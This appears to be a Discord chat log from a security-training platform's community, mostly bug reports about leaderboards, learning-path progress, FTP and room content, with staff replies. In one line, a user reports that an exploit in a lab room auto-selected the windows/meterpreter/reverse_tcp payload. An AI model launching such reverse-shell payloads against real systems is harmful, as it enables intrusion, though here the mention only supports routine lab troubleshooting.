lol

deft jackal
#

dont you think ?

zinc badger
#

50 seems reasonable to me

#

Even with 50 the chart is messy, dread to think what it would look like with double the number of results lol

tribal knoll
#

If you're that low you probably with end up in the grey mess anyways

frosty cape
#

Yeah, the chart is limited to 50 users so @deft jackal you wont see yourself sorry

#

I was thinking of changing the line graph to a bar chart

#

So you see users scores more accurately.

merry ridge
#

Alternatively maybe there could be an api call where a user's own score will always appear on the room leader board with the rank for the room

fervent gust
#

Room Ice Task 4 # 10 doesn't seem to display any more options after setting the session.

#

Only after running the exploit command did a payload (windows/meterpreter/reverse_tcp) automatically select itself and more options showed up

merry ridge
#

Weird I swear it worked when I was doing it the other day

tidal kiln
#

ditto, just did the same room and can confirm exact same finding as @fervent gust

fading laurel
#

@tropic ore dm me if you need any help

fervent gust
frosty cape
#

Hjmm

#

Looking into that now

Is anyone else having trouble after connecting to FTP on task 16 of the christmass event? I can login just fine and execute the help command. When I try to list the directory using dir or ls however the server disconnects

switching to passive mode made no difference

When I enable debug mode it seems like something is not set up correctly:

ftp: setsockopt (ignored): Permission denied

---> PORT 10,8,13,251,189,243

@frosty cape You mentioned that this past sunday you were going to remove the feature regarding "Also is there any way to leave a room that is for members only? If I click the room, it just immediately takes me to /why-subscribe". Just wanted to check in since it still won't allow me to leave a room that requires a subscription. The room in this case was Game Zone; Code: gamezone

rare swallow
#

It seems that the progress section is bugged on the paths. I'm currently doing primer and the values are different

frosty cape
#

Ooooooo ok

#

That is really really weird

#

I've put this high on my to-do list

#

@ocean reef I will remove this in the next push - advent of cyber has been keeping me from regularly building and pushing code.

rare swallow
#

@frosty cape okay πŸ™‚ thank you for looking into it!

frosty cape
#

Thank you for reporting it

#

How are you finding the pathways?

rare swallow
#

rather than having that info in 2 places as it is closely related, and probably leave the paths free to access but point out which rooms you require subscription for

frosty cape
#

I couldn't bring myself to get rid of the goals page

#

Because I like how you can get a good overview of all rooms

#

Jeesssuus, that goals page needs updating

#

We have so many new rooms added since then

rare swallow
#

i understand that, but i think it can be integrated as part of the learning paths

frosty cape
#

Wouldn't it be repeated though?

rare swallow
#

like it is now but in brackets (subscribers only)

#

well you will have the room, the description and the outcome

frosty cape
#

because the rooms are layed out in the pathways

rare swallow
#

so you won't require the goals page

frosty cape
#

Yeah true hm

#

Like a "summary" list of all rooms in a pathway with a tick or not

rare swallow
#

it's up to you, i just find it a little bit redundant, you could do the tick on normal paths too probably?

frosty cape
#

Yeah thats true

rare swallow
#

like let's say you got the path> expand> you get rooms>expand> you get the outcomes

#

and that to be accessible to everyone but the premium rooms to be pointed out

#

i don't know if it makes sense to you what I'm saying

ocean reef
#

No worries @frosty cape and thanks for all the hard work. Loving the advent calendar and finally getting into some additional rooms of THM

@vocal raptor

frosty cape

@trim relic I will do it now if you email

trim relic

Out of interested, why do you need it asap?

trim relic
#

can you please check

#

i would like to get verified and like to explore and learn

#

lets see if i can subscribe aswell

mortal root

@trim relic I wouldn't post your contact details on a public discord like this πŸ™‚

why dont i get the verification email

#

πŸ™‚

frosty cape
#

@rare swallow Path bug has been fixed, can you please please verify?

spiral flame
#

@frosty cape On the goals page, basicpentesting has been made private

rare swallow
#

@frosty cape confirmed. Works fine! πŸ‘πŸΌ

frosty cape
#

Amazing, what % is it showing out of interest

rare swallow
#

57

#

On both

#

Wait a moment

#

@frosty cape that's not right. I got 3 boxes left on this path

#

How did it drop from 73 to 57

frosty cape
#

So it does it depending on how many tasks are left

#

Are the last 3 boxes onthe path have many tasks?

#

Let me look into it again

rare swallow
#

I can't check right now, sorry. It's the blue primer part and ice

frosty cape
#

OKay I will check again πŸ™‚

#

Ah actualyl dude yeah then its accurate

#

Blue primer is a large part

rare swallow
rugged ermine
#

That must have glitched on an edit, gimme just a sec

#

@rare swallow thanks much for the heads up on that

#

Check it now, I fixed it

#

Looks like another question got squished into it a bit

rare swallow
#

okay

#

looks good for now

#

i just started hating on Splunk

#

jesus

rugged ermine
#

Splunk is a very powerful tool but the learning curve is immense

rare swallow
#

you should either word it a little bit better or give a hint out that it's similar to a function in excel

#

took me ages to understand what it's asked

#

from the context it points out to 'rename'

stray palm
#

#

Think so?

rare swallow
#

has some slight grammar mistakes

#

well text, my bad

#

and deploy on both task 2 and 3, even though it's the same machine?

frosty cape
#

Thanks for reporting, I removed deploy from both tasks

#

And removed that a;sp

#

Will read the room fully tonight and update accordingly.

rare swallow
#

thank you :), also, is there any chance we can get an updated version of it

frosty cape
#

Updated version of what sorry?

#

The room is updated (refresh the learnburp page)

rare swallow
#

i mean a more thorough room that covers a little bit more of the functionality of burp suite. as i am just learning about it now it seems pretty basic. I think a room that covers on how to use it and perform certain tasks to capture some flags will be more beneficial for the users

frosty cape
#

Yeah, I really need to add more tasks.

#

I want to focus on the content development, we have the community creating rooms which is amazing.

#

But soon I will shift my focus on seeking out great content developers to help us.

rare swallow
#

okay, that makes sense. Then, you should shift the ownership of the rooms to someone else in this process. or are you going to add sections on the rooms like: createdby - ; updated by - maintained by- ?
